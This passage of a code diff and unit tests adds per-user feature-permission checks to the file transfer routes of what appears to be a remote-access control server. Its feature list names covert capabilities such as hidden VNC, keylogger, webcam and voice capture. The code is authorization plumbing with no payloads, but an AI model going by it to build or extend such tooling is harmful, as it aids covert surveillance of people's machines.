Authorization: `Bearer ${auth.token}`,
},
body: JSON.stringify({
clientId,
path: "C:\\Games\\small.bin",
fileName: "small.bin",
}),
}),
requestUrl,
mockServer,
deps,
);
expect(requestRes!.status).toBe(200);
const requestJson = (await requestRes!.json()) as any;
// Revoke after the intent has been created.
setUserFeaturePermission(auth.userId, "file_browser", false);
const stageUrl = new URL(`https://localhost${requestJson.uploadUrl}`);
const stageRes = await handleFileDownloadRoutes(
new Request(stageUrl, {
method: "PUT",
headers: { Authorization: `Bearer ${auth.token}` },
body: new TextEncoder().encode("hello"),
}),
stageUrl,
mockServer,
deps,
);
expect(stageRes).not.toBeNull();
expect(stageRes!.status).toBe(403);
expect(await stageRes!.text()).toContain("feature access denied");
} finally {
clientManager.deleteClient(clientId);
deleteUser(auth.userId);
await removeTempDataDir(dataDir);
}
});
test("download serve returns 403 when file_browser is revoked after intent creation", async () => {
const auth = await createOperatorToken({ fileBrowserAllowed: true });
const clientId = `client-${Date.now().toString(36)}`;
const dataDir = await createTempDataDir();
const deps = makeRouteDeps(dataDir);
clientManager.addClient(clientId, {
id: clientId,
lastSeen: Date.now(),
role: "client",
ws: { send: () => {} },
});
try {
const requestUrl = new URL("https://localhost/api/file/download/request");
const requestRes = await handleFileDownloadRoutes(
new Request(requestUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${auth.token}`,
},
body: JSON.stringify({
clientId,
path: "C:\\Games\\file.bin",
}),
}),
requestUrl,
mockServer,
deps,
);
expect(requestRes!.status).toBe(200);
const requestJson = (await requestRes!.json()) as any;
expect(typeof requestJson.downloadUrl).toBe("string");
// Revoke after the intent has been created.
setUserFeaturePermission(auth.userId, "file_browser", false);
const downloadUrl = new URL(`https://localhost${requestJson.downloadUrl}`);
const downloadRes = await handleFileDownloadRoutes(
new Request(downloadUrl, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
downloadUrl,
mockServer,
deps,
);
expect(downloadRes).not.toBeNull();
expect(downloadRes!.status).toBe(403);
expect(await downloadRes!.text()).toContain("feature access denied");
} finally {
clientManager.deleteClient(clientId);
deleteUser(auth.userId);
await removeTempDataDir(dataDir);
}
});
test("upload request succeeds for operator with file_browser allowed (positive control)", async () => {
const auth = await createOperatorToken({ fileBrowserAllowed: true });
const clientId = `client-${Date.now().toString(36)}`;
const dataDir = await createTempDataDir();
const deps = makeRouteDeps(dataDir);
clientManager.addClient(clientId, {
id: clientId,
lastSeen: Date.now(),
role: "client",
ws: { send: () => {} },
});
try {
const requestUrl = new URL("https://localhost/api/file/upload/request");
const res = await handleFileDownloadRoutes(
new Request(requestUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${auth.token}`,
},
body: JSON.stringify({
clientId,
path: "C:\\Games\\ok.bin",
fileName: "ok.bin",
}),
}),
requestUrl,
mockServer,
deps,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(200);
const body = (await res!.json()) as any;
expect(body.ok).toBe(true);
expect(typeof body.uploadUrl).toBe("string");
} finally {
clientManager.deleteClient(clientId);
deleteUser(auth.userId);
await removeTempDataDir(dataDir);
}
});
});
@@ -8,7 +8,7 @@ import { logger } from "../../logger";
import { encodeMessage } from "../../protocol"; import { encodeMessage } from "../../protocol";
import { getConfig } from "../../config"; import { getConfig } from "../../config";
import { isAuthorizedAgentRequest } from "../agent-auth"; import { isAuthorizedAgentRequest } from "../agent-auth";
import { canUserAccessClient } from "../../users"; import { canUserAccessClient, canUserAccessFeature } from "../../users";
type RequestIpProvider = { type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined; requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -160,6 +160,10 @@ async function serveDownloadById(
return new Response("Forbidden: Admin or operator access required", { status: 403 }); return new Response("Forbidden: Admin or operator access required", { status: 403 });
} }
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
return new Response("Forbidden: feature access denied", { status: 403 });
}
logger.debug("[filebrowser] http download request", { logger.debug("[filebrowser] http download request", {
downloadId, downloadId,
userId: user.userId, userId: user.userId,
@@ -363,6 +367,10 @@ export async function handleFileDownloadRoutes(
return new Response("Forbidden: client access denied", { status: 403 }); return new Response("Forbidden: client access denied", { status: 403 });
} }
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
return new Response("Forbidden: feature access denied", { status: 403 });
}
logger.debug("[filebrowser] http upload request", { logger.debug("[filebrowser] http upload request", {
userId: user.userId, userId: user.userId,
clientId, clientId,
@@ -408,6 +416,10 @@ export async function handleFileDownloadRoutes(
return new Response("Forbidden: Admin or operator access required", { status: 403 }); return new Response("Forbidden: Admin or operator access required", { status: 403 });
} }
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
return new Response("Forbidden: feature access denied", { status: 403 });
}
let uploadId = ""; let uploadId = "";
try { try {
uploadId = decodeURIComponent(url.pathname.slice("/api/file/upload/".length)); uploadId = decodeURIComponent(url.pathname.slice("/api/file/upload/".length));
@@ -651,6 +663,10 @@ export async function handleFileDownloadRoutes(
return new Response("Forbidden: client access denied", { status: 403 }); return new Response("Forbidden: client access denied", { status: 403 });
} }
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
return new Response("Forbidden: feature access denied", { status: 403 });
}
const target = clientManager.getClient(clientId); const target = clientManager.getClient(clientId);
if (!target) { if (!target) {
return new Response("Client offline", { status: 404 }); return new Response("Client offline", { status: 404 });
@@ -0,0 +1,249 @@
import { describe, expect, test } from "bun:test";
import {
ALL_FEATURES,
canUserAccessFeature,
createUser,
deleteUser,
getUserByUsername,
getUserFeaturePermissions,
resetUserFeaturePermissions,
setUserFeaturePermission,
setUserFeaturePermissions,
type FeatureName,
} from "./users";
const createdUserIds: number[] = [];
async function createTempUser(role: "viewer" | "operator" | "admin") {
const username = `fp_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1000).toString(36)}`;
const result = await createUser(username, "Aa1!VeryLongTestPassword_2026", role, "test");
expect(result.success).toBe(true);
const user = getUserByUsername(username);
expect(user).not.toBeNull();
createdUserIds.push(user!.id);
return user!;
}
function cleanupCreatedUsers() {
while (createdUserIds.length > 0) {
const id = createdUserIds.pop();
if (typeof id === "number") {
deleteUser(id);
}
}
}
describe("feature permissions", () => {
test("ALL_FEATURES contains the expected feature keys", () => {
expect(ALL_FEATURES).toEqual([
"console",
"remote_desktop",
"hvnc",
"webcam",
"file_browser",
"processes",
"keylogger",
"voice",
]);
});
test("admin always has every feature regardless of stored overrides", async () => {
try {
const admin = await createTempUser("admin");
for (const f of ALL_FEATURES) {
expect(canUserAccessFeature(admin.id, admin.role, f)).toBe(true);
}
// Even an explicit deny is ignored for admin role.
setUserFeaturePermission(admin.id, "webcam", false);
expect(canUserAccessFeature(admin.id, "admin", "webcam")).toBe(true);
} finally {
cleanupCreatedUsers();
}
});
test("viewer is denied every feature regardless of stored overrides", async () => {
try {
const viewer = await createTempUser("viewer");
for (const f of ALL_FEATURES) {
expect(canUserAccessFeature(viewer.id, viewer.role, f)).toBe(false);
}
// Granting access to a viewer at the per-feature level does not promote them.
setUserFeaturePermission(viewer.id, "console", true);
expect(canUserAccessFeature(viewer.id, "viewer", "console")).toBe(false);
} finally {
cleanupCreatedUsers();
}
});
test("operator defaults to having every feature enabled", async () => {
try {
const operator = await createTempUser("operator");
for (const f of ALL_FEATURES) {
expect(canUserAccessFeature(operator.id, operator.role, f)).toBe(true);
}
} finally {
cleanupCreatedUsers();
}
});
test("setUserFeaturePermission disables a single feature for an operator", async () => {
try {
const operator = await createTempUser("operator");
const result = setUserFeaturePermission(operator.id, "webcam", false);
expect(result.success).toBe(true);
expect(canUserAccessFeature(operator.id, operator.role, "webcam")).toBe(false);
// Other features remain enabled.
expect(canUserAccessFeature(operator.id, operator.role, "console")).toBe(true);
expect(canUserAccessFeature(operator.id, operator.role, "file_browser")).toBe(true);
} finally {
cleanupCreatedUsers();
}
});
test("setUserFeaturePermission can re-enable a previously denied feature", async () => {
try {
const operator = await createTempUser("operator");
setUserFeaturePermission(operator.id, "hvnc", false);
expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(false);
setUserFeaturePermission(operator.id, "hvnc", true);
expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(true);
} finally {
cleanupCreatedUsers();
}
});
test("setUserFeaturePermissions applies a bulk update", async () => {
try {
const operator = await createTempUser("operator");
const result = setUserFeaturePermissions(operator.id, {
webcam: false,
file_browser: false,
keylogger: true,
});
expect(result.success).toBe(true);
expect(canUserAccessFeature(operator.id, operator.role, "webcam")).toBe(false);
expect(canUserAccessFeature(operator.id, operator.role, "file_browser")).toBe(false);
expect(canUserAccessFeature(operator.id, operator.role, "keylogger")).toBe(true);
// Untouched features keep their default (allowed).
expect(canUserAccessFeature(operator.id, operator.role, "console")).toBe(true);
} finally {
cleanupCreatedUsers();
}
});
test("setUserFeaturePermissions ignores unknown feature keys", async () => {
try {
const operator = await createTempUser("operator");
const result = setUserFeaturePermissions(operator.id, {
webcam: false,
// @ts-expect-error intentionally unknown feature key
not_a_feature: true,
});
expect(result.success).toBe(true);
const perms = getUserFeaturePermissions(operator.id);
expect(perms.webcam).toBe(false);
// Unknown keys never get persisted.
expect((perms as any).not_a_feature).toBeUndefined();
} finally {
cleanupCreatedUsers();
}
});
test("setUserFeaturePermission rejects invalid feature names", async () => {
try {
const operator = await createTempUser("operator");
const result = setUserFeaturePermission(
operator.id,
"not_a_feature" as FeatureName,
false,
);
expect(result.success).toBe(false);
expect(result.error).toContain("Invalid feature");
} finally {
cleanupCreatedUsers();
}
});
test("getUserFeaturePermissions returns role-derived values", async () => {
try {
const admin = await createTempUser("admin");
const operator = await createTempUser("operator");
const viewer = await createTempUser("viewer");
const adminPerms = getUserFeaturePermissions(admin.id);
const operatorPerms = getUserFeaturePermissions(operator.id);
const viewerPerms = getUserFeaturePermissions(viewer.id);
for (const f of ALL_FEATURES) {
expect(adminPerms[f]).toBe(true);
expect(operatorPerms[f]).toBe(true);
expect(viewerPerms[f]).toBe(false);
}
// After a deny, the operator's map reflects it.
setUserFeaturePermission(operator.id, "processes", false);
const updated = getUserFeaturePermissions(operator.id);
expect(updated.processes).toBe(false);
expect(updated.console).toBe(true);
} finally {
cleanupCreatedUsers();
}
});
test("resetUserFeaturePermissions restores defaults (all enabled for operator)", async () => {
try {
const operator = await createTempUser("operator");
setUserFeaturePermissions(operator.id, {
webcam: false,
file_browser: false,
keylogger: false,
});
expect(canUserAccessFeature(operator.id, operator.role, "webcam")).toBe(false);
const result = resetUserFeaturePermissions(operator.id);
expect(result.success).toBe(true);
for (const f of ALL_FEATURES) {
expect(canUserAccessFeature(operator.id, operator.role, f)).toBe(true);
}
} finally {
cleanupCreatedUsers();
}
});
test("getUserFeaturePermissions for a missing user returns all-false", () => {
const perms = getUserFeaturePermissions(0);
for (const f of ALL_FEATURES) {
expect(perms[f]).toBe(false);
}
});
test("feature denials are scoped to the affected user", async () => {
try {
const a = await createTempUser("operator");
const b = await createTempUser("operator");
setUserFeaturePermission(a.id, "webcam", false);
expect(canUserAccessFeature(a.id, a.role, "webcam")).toBe(false);
expect(canUserAccessFeature(b.id, b.role, "webcam")).toBe(true);
} finally {
cleanupCreatedUsers();
}
});
});